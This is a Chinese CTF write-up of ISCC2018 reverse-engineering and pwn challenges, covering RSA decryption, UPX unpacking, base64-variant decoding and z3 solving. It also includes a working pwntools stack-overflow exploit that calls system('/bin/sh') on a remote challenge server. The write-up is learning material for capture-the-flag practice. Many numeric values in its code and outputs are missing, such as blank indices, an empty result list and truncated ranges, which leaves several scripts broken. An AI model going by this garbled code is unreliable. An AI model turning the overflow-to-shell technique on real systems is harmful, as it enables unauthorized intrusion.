Reference:L1B0

Re

RSA256

春秋欢乐赛原题。。flag都不变的
给了三个加密文件和公钥证书public.key,可以使用openssl进行处理

$openssl rsa -pubin -text -modulus -in ./public.key
Public-Key: ( bit)
Modulus:
:d9:9e::::a6:d9::df:c2::4a:ba::
5b:::d6:0a:7b:9e::0a:ff::1c::ec::
d5::eb
Exponent: (0x10001)
Modulus=D99E952296A6D960DFC2504ABA545B9442D60A7B9E930AFF451C78EC55D555EB
writing RSA key
-----BEGIN PUBLIC KEY-----
MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhANmelSKWptlg38JQSrpUW5RC1gp7npMK
/0UceOxV1VXrAgMBAAE=
-----END PUBLIC KEY-----

rsa参数中, Exponent=65537 即为 e 值 ,Modulus即为n
使用python解密即可

#!/usr/bin/env python
#coding:utf-8
import gmpy2
import rsa
p = 302825536744096741518546212761194311477
q = 325045504186436346209877301320131277983
n = 98432079271513130981267919056149161631892822707167177858831841699521774310891
e = 65537
d = int(gmpy2.invert(e , (p-1) * (q-1)))
privatekey = rsa.PrivateKey(n , e , d , p , q)
with open("encrypted.message1" , "rb") as f:
print(rsa.decrypt(f.read(), privatekey).decode())
with open("encrypted.message2" , "rb") as f:
print(rsa.decrypt(f.read(), privatekey).decode())
with open("encrypted.message3" , "rb") as f:
print(rsa.decrypt(f.read(), privatekey).decode())

结果

leftleftrightright

一个upx加壳的exe程序
脱壳后,能够在ida中发现疑似经过换位的flag:s_imsaplw_e_siishtnt{g_ialt}F
按照英文单词猜测,还是有一定几率能猜出正确的flag的。
程序去壳之后就不能运行了,根据学长指示,可以在winedbg中进行调试。但是系统自带的老版本wine会遇到很多错误,所以编译安装wine3.8

编译安装wine3.8

下载源码到用户目录
$tar Jxf wine-3.8.tar.xz
$cd wine-3.8/
$./configure --enable-win64
遇到一个错误error: no suitable bison found. Please install the 'bison' package.
$sudo apt-get install bison
又一个错误error: FreeType 64-bit development files not found. Fonts will not be built.
根据提示判断是和字体相关的包,试了几次一直处错误,索性暂时不安了影响应该不大
$./configure --enable-win64 --without-freetype
$make
$sudo make install

wine好像还有点问题,日后再说。。。
只要将断点下在比较函数部分,输入和flag等长的字符串,对比换位前后的变化,即可得到flag变化规则,将之前的字符串逆向变换即可得到flag
借用M4x大佬的图和代码说明

#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x' encrypt = "s_imsaplw_e_siishtnt{g_ialt}F"
before = "abcdefghijklmnopqrstuvwxyzABC"
after = "onpqmlrskjtuihvwgfxyedzAcbBCa"
flag = [encrypt[after.find(c)] for c in before] print "".join(flag) #Flag{this_was_simple_isnt_it}

My math is bad

解方程类的题目,使用z3比较容易解决
详见z3学习档案

obfuscation and encode

程序逻辑可以说乱透了。。
输入的flag经过fencode和encode两个函数进行加密之后与lUFBuT7hADvItXEGn7KgTEjqw8U5VQUq进行比较。
经过分析,encode部分是进行了三位变四位的操作
Result为最终比较结果,trans为flag经过fencode处理得到的串

Reault[] = alpha[trans[] >>  & 0x3f]  == 'l'
v11 =
v10 =
Reault[] = alpha[((trans[]>>)|*trans[]) & 0x3f] == 'U'
Reault[] = alpha[((trans[]>>)|*trans[]) & 0x3f] == 'F'
v12 =
v24 =
Reault[] = alpha[trans[]&0x3f] == 'B'

可以根据这一规律进行每四位进行爆破,trans
这是类base64,一般是更改替换表和偏移位数进行编码,所以可以通过改写base64标准解码代码,实现一步到位

这是改写的爱测试国赛的代码。

# -*- coding: UTF- -*-
table = 'FeVYKw6a0lDIOsnZQ5EAf2MvjS1GUiLWPTtH4JqRgu3dbC8hrcNo9/mxzpXBky7+' def decodeBase64(src):
delPaddingTail = {: , : , : }
value = ''
n = src.count('=')
sin = src[:len(src) - n]
for c in sin:
value += bin(table.find(c))[:].zfill().replace('0b', '')
value = value[:len(value) - delPaddingTail[n]]
print value
middle = []
for i in range(, len(value) + , ):
middle.append(int(value[i-:i], ))
output = middle
print output
return ''.join(map(chr, output)) res = decodeBase64("lUFBuT7hADvItXEGn7KgTEjqw8U5VQUq")
print res

得到trans

[, , , , , , , , , , , , , , , , , , , , , , , ]  

然后,我是通过暴力运行性加代码分析解决的fencode
写gdb脚本的方法倒是不错,程序汇编的0x4008c6和0x400906两行和生成trans有关


在调试的时候只要查看这两句就能看到操作数,其余的地方不用管
也能看到对24位flag,分成6组,每四位和m数组的对应位相乘求和再%127得到trans,同样可以使用z3进行求解。

#!/usr/bin/env python
# -*-coding=utf-8-*-
from z3 import * trans = [37, 192, 59, 166, 31, 175, 76, 165, 203, 139, 164, 155, 59, 225, 40, 133, 38, 38, 22, 231, 17, 9, 7, 38]
print len(trans)
m = [2,2,4,-5,1,1,3,-3, -1, -2, -3, 4, -1, 0, -2,2]
a = BitVec('a',64)
b = BitVec('b',64)
c = BitVec('c',64)
d = BitVec('d',64) for i in range(6):
s = Solver()
s.add((2 * a + 2 * b + 4 * c - 5 * d) & 0xff== trans[4 * i])
s.add((a + b + 3 * c - 3 * d)& 0xff== trans[4*i+1])
s.add((-1 * a - 2 * b -3 * c + 4 * d) & 0xff == trans[4 * i + 2])
s.add(( -1 * a - 2 * c + 2 * d) & 0xff == trans[4 * i + 3])
s.add(a<256)
s.add(b<256)
s.add(c<256)
s.add(d<256)
if s.check() == sat:
print s.model()
else :
print s.check() #[b = 108, a = 102, c = 97, d = 103]
#[b = 100, a = 123, c = 79, d = 95]
#[b = 48, a = 121, c = 85, d = 95]
#[b = 78, a = 75, c = 111, d = 87]
#[b = 48, a = 95, c = 73, d = 108]
#[b = 109, a = 86, c = 63, d = 125] f = [102,108,97,103,123,100,79,95,121,48,85,95,75,78,111,87,95,48,73,108,86,109,63,125]
print map(chr,f)
flag = ''
for i in f:
flag += chr(i)
print flag

可以得到六组解,排好顺序转字符即可

Pwn

Login(pwn50)

思路

1.没有canary和PIE,在输入choice时存在栈溢出.并且有system函数。
2.账号密码在常字符串,且可以使用全局变量”cmd”存储写入字符串,可以在已知地址内存中输入”/bin/sh”
3.在程序中找到了pop rdi; ret,可以通过控制寄存器传参,溢出后调用system函数。

脚本

#!/usr/bin/env python
# -*-coding=utf-8-*-
from pwn import *
context.log_level = 'debug'
# io = process('./pwn50')
io = remote('47.104.16.75',9000)
elf = ELF('./pwn50') sys_addr = elf.plt['system']
rdi_ret = 0x400b03
cmd = 0x601100
usr = 'admin'
psd = 'T6OBSh2i' io.recvuntil('name: ')
io.sendline(usr)
io.recvuntil('word: ')
io.sendline(psd) io.recvuntil('choice: ')
io.send('1\n')
io.recvuntil('and: ')
io.send('/bin/sh\0\n')
io.recvuntil('choice: ') payload = '' * (0x50 + 0x8)
payload += p64(rdi_ret) + p64(cmd)
payload += p64(sys_addr)
io.send(payload)
io.interactive()
# flag{welcome_to_iscc}

Write some paper(pwn3)

double free 的问题
参见Fastbin之double free

Happy hotel(pwn300)

LCTF原题?House of spirit
Hos分析)
以Pwnable spirited_away为例分析。

作者:辣鸡小谱尼


出处:http://www.cnblogs.com/ZHijack/

如有转载,荣幸之至!请随手标明出处;

ISCC2018 Reverse & Pwn writeup的更多相关文章

  1. Jarvis OJ - 栈系列部分pwn - Writeup

    最近做了Jarvis OJ的一部分pwn题,收获颇丰,现在这里简单记录一下exp,分析过程和思路以后再补上 Tell Me Something 此题与level0类似,请参考level0的writeu ...

  2. 攻防世界新手区pwn writeup

    CGfsb 题目地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5050 下载文 ...

  3. 虎符2021线下赛pwn writeup

    jdt 一个图书管理系统,但并不是常规的堆题.edit和show函数可以越界.edit函数和show函数相互配合泄露libc基地址,将main函数的返回地址覆盖成onegadgets拿shell. f ...

  4. NepCTF pwn writeup

    上周抽时间打了nepnep举办的CTF比赛,pwn题目出的挺不错的,适合我这种只会一点点选手做,都可以学到新东西. [签到] 送你一朵小红花 64位程序,保护全开. 程序会在buf[2]处留下一个da ...

  5. HGAME2021 week4 pwn writeup

    第四周只放出两道题,也不是很难. house_of_cosmos 没开pie,并且可以打got表. 在自写的输入函数存在漏洞.当a2==0时,因为时int类型,这里就会存在溢出.菜单题,但是没有输出功 ...

  6. HGAME2021 week3 pwn writeup

    一共放出五道题,都不是很难. blackgive 考栈转移,值得注意的一点是转移过去先填充几个ret,因为如果直接在转移过去的地方写rop链,执行起来会覆盖到上面的一些指针,导致程序不能正常输入和输出 ...

  7. 2020ACTF pwn writeup

    为了打2021的ACTF,想着把2020年的pwn题做一做吧,发现2020年的pwn题质量还挺高的.反倒是2021年的题目质量不太高,好像是没有专门的pwn师傅出题,可以理解,毕竟办校赛,说白了就是用 ...

  8. SWPUCTF 2019 pwn writeup

    来做一下以前比赛的题目,下面两个题目都可以在buu复现(感谢赵总). SWPUCTF_2019_login 32位程序,考点是bss段上的格式化字符串.用惯onegadgets了,而对于32位程序来说 ...

  9. HGAME2021 week2 pwn writeup

    week2一共有4道pwn题 killerqueen 有格式化字符串漏洞,题不算难,但是故事情节真实让人摸不着头脑,但是仔细分析分析,理清楚逻辑就可以做了. 第一次choose1的时候,可以输入0,泄 ...

随机推荐

  1. wp8.1 学习笔记 001 动态生成图片 并更改图片位置

    1.在xaml中划分表格 <Grid Name="gr"> <Grid.ColumnDefinitions> <ColumnDefinition> ...

  2. pytorch之 RNN classifier

    import torch from torch import nn import torchvision.datasets as dsets import torchvision.transforms ...

  3. ELK 记录 java log4j 类型日志

    ELK 记载  java log4j 时,一个报错会生成很多行,阅读起来很不方便. 类似这样 解决这个问题的方法 1.使用多行合并 合并多行数据(Multiline) 有些时候,应用程序调试日志会包含 ...

  4. mysql 启动,停止,重启

    启动mysql: 方式一:sudo /etc/init.d/mysql start  方式二:sudo start mysql 方式三:sudo service mysql start sudo ./ ...

  5. ZYNQ入门实例——三种GPIO应用、中断系统及软硬件交叉触发调试

    一.前言 Xlinx的ZYNQ系列SOC集成了APU.各种专用外设资源和传统的FPGA逻辑,为ARM+FPGA的应用提供助力,降低功耗和硬件设计难度的同时极大提高两者间传输的带宽.之前在研究生课题中使 ...

  6. h5笔记1

    1.HTML中不支持 空格.回车.制表符,它们都会被解析成一个空白字符 2.适用于大多数 HTML 元素的属性: class 为html元素定义一个或多个类名(classname)(类名从样式文件引入 ...

  7. 前端开发:这10个Chrome扩展你不得不知

    转载请注明出处:葡萄城官网,葡萄城为开发者提供专业的开发工具.解决方案和服务,赋能开发者. 原文出处:https://blog.bitsrc.io/10-top-chrome-extensions-f ...

  8. Error serializing object:序列化对象时出错

    序列化对象时出错 :Error serializing object. Error serializing object. Cause: java.io.NotSerializableExceptio ...

  9. c++ 有符号int和无符号int做加减乘除问题

    c++ 有符号int和无符号int做加算术运算的问题: 一.运算过程先把有符号的补码数直接看成无符号数,在和无符号数进行算术运算 二.int和unsigned int类型进行混合算数运算时,运算结果为 ...

  10. 记一次Postgres CPU爆满故障

    问题描述 公司项目测试环境调用某些接口的时候,服务器立即崩溃,并一定时间内无法提供服务. 问题排查 服务器配置不够 第一反应是服务器需要升配啦,花钱解决一切!毕竟测试服务器配置确实不高,2CPU + ...